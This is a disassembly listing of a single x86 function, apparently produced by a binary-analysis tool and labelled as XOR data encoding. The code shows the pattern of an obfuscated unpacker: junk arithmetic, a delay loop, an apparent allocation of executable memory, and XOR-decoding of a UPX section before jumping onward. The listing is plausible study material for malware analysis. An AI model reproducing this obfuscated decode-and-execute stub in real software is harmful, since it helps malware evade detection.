Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4535dd87
add eax, 1
mov ecx, eax
add ecx, 0x900f90fe
popal
add eax, 0xb2d04935
not eax
mov edi, 0
mov edx, ebx
sub ecx, 0x7d839eee
sub ecx, 0x43122afa
mov esi, edx
or ecx, ecx
dec ecx
mov ebx, esi
mov eax, ecx
dec eax
not eax
inc edi
add ecx, ecx
or ecx, eax
add eax, 0xed9e1675
cmp edi, 0x10099d5
jne 0xa789ce
dec eax
sub eax, ecx
inc ecx
add eax, 0x7d08eb2d
mov ecx, eax
mov eax, 0xa78796
not esi
sub edx, ecx
add ecx, 0x4b0b4dea
mov ebx, 0xa7898a
and esi, esi
add esi, 0x58c8ab47
sub ecx, esi
mov edi, dword [eax]
or ecx, ecx
add edx, edx
mov edx, 0x31506c3e
and edi, 0xff
mov esi, 0x73059e38
sub edx, ecx
xor dword [ebx], edi
inc esi
add esi, 0xd39d04f5
inc ebx
sub ecx, 0xc18e4265
mov esi, 0x1a87000
inc eax
not ecx
add edx, esi
add esi, 0xcf06fef9
cmp ebx, entry0
jl 0xa78a29
and esi, esi
dec esi
mov esi, ecx
sub esi, 0x4fe3cf1
not ecx
dec esi
not ebx
mov edx, 0xa7898e
not ebx
or esi, ecx
mov edx, dword [edx]
sub edi, 0x70f6775f
not esi
mov edx, dword [edx]
add ebx, 0x4baa0ad9
sub ebx, 0xc5d8690b
or ebx, ebx
push edx
or ebx, esi
add ebx, ebx
mov edx, 0xa7898a
mov esi, ecx
mov edi, 0x29b3e24e
mov edx, dword [edx]
add ebx, 1
and edi, esi
sub ebx, esi
mov edx, dword [edx]
add ebx, ecx
or edi, esi
sub esp, 4
mov dword [esp], 0xa78992
add esi, 0x5100e463
sub ecx, ebx
call edx
sub esi, 0xb0173b54
dec ecx
add ebx, ebx
pop edx
add ecx, ecx
mov ecx, ebx
push 0xa7899f
sub esi, 1
add edi, 0x9a629522
inc ecx
push eax
not edi
sub ecx, 1
call edx
or edi, ecx
dec ebx
sub esp, 4
mov dword [esp], 0x40
mov ecx, 0xba79fca9
add edi, 0xa6939be2
push 0x3000
inc esi
or ebx, ebx
push 0x20000253
not ebx
and edi, ebx
sub esi, ebx
push 0
or ebx, ecx
not ecx
sub edi, 0x5cd917f1
call eax
dec edi
add ecx, 0x62d8f1b0
add eax, 0x200001b2
inc ecx
sub esi, edi
mov edx, 0x7c77c118
not edi
or esi, ebx
sub ebx, edi
mov dword [eax], edx
add ecx, ebx
mov ecx, 0x9f857e74
mov edx, dword [eax]
mov esi, ebx
sub edi, esi
cmp edx, 0x7c77c118
je 0xa78b77
mov ebx, 0
mov dl, byte [ebx]
add edi, 1
and ecx, esi
add edi, 1
mov esi, edi
sub eax, 0xc34bd10c
sub ecx, 0xd6437022
inc ecx
mov edi, section.UPX1
inc eax
inc ecx
mov esi, 0xa78795
mov ecx, 0x32ccbb0f
mov ecx, 0x9b4c4bcf
mov edx, 0
mov ecx, 0x3075465
sub ecx, eax
mov ebx, 0xa78796
and ecx, eax
or eax, ecx
and ecx, ecx
lea ebx, [edx + ebx]
dec ecx
add ecx, eax
not ecx
mov ebx, dword [ebx]
and eax, eax
dec eax
not eax
and ebx, 0xff
add ecx, eax
mov ecx, 0x245dd81c
inc edx
add eax, ecx
add eax, ecx
add ecx, 0x9532c929
cmp edx, 0x1f4
jne 0xa78bf5
mov edx, 0
add eax, eax
mov ecx, eax
dec ecx
not ecx
add eax, 0xf48d1d03
xor dword [edi], ebx
or ecx, ecx
mov eax, ecx
add edi, 2
sub ecx, 0x44bfd134
add eax, ecx
add eax, 1
cmp edi, esi
jl 0xa78bb6
dec ecx
add ecx, 0x226a880a
and ecx, ecx
sub ecx, 0x1033326
add eax, 1
mov edi, section.UPX1
dec eax
and esi, eax
inc esi
mov ebx, section.UPX1
inc eax
add esi, 0xadc890d3
mov edx, 0xa78795
sub esi, 0xd6d172f7
and esi, esi
mov ecx, 0
inc esi
add eax, esi
inc esi
mov cl, byte [ebx]
add esi, 0xf49444fc
mov eax, esi
mov byte [edi], cl
mov eax, 0x19937cd9
add esi, esi
or eax, eax
inc edi
add eax, 0xd2e2e4b8
add eax, esi
add esi, esi
add ebx, 2
dec esi
and eax, eax
sub esi, 0x8189626a
cmp ebx, edx
jle 0xa78c64
mov esi, eax
add eax, 0x315619f1
not eax
mov eax, ecx
add eax, eax
push 0x8dc6a0
add eax, 0xa89a9423
and eax, ecx
ret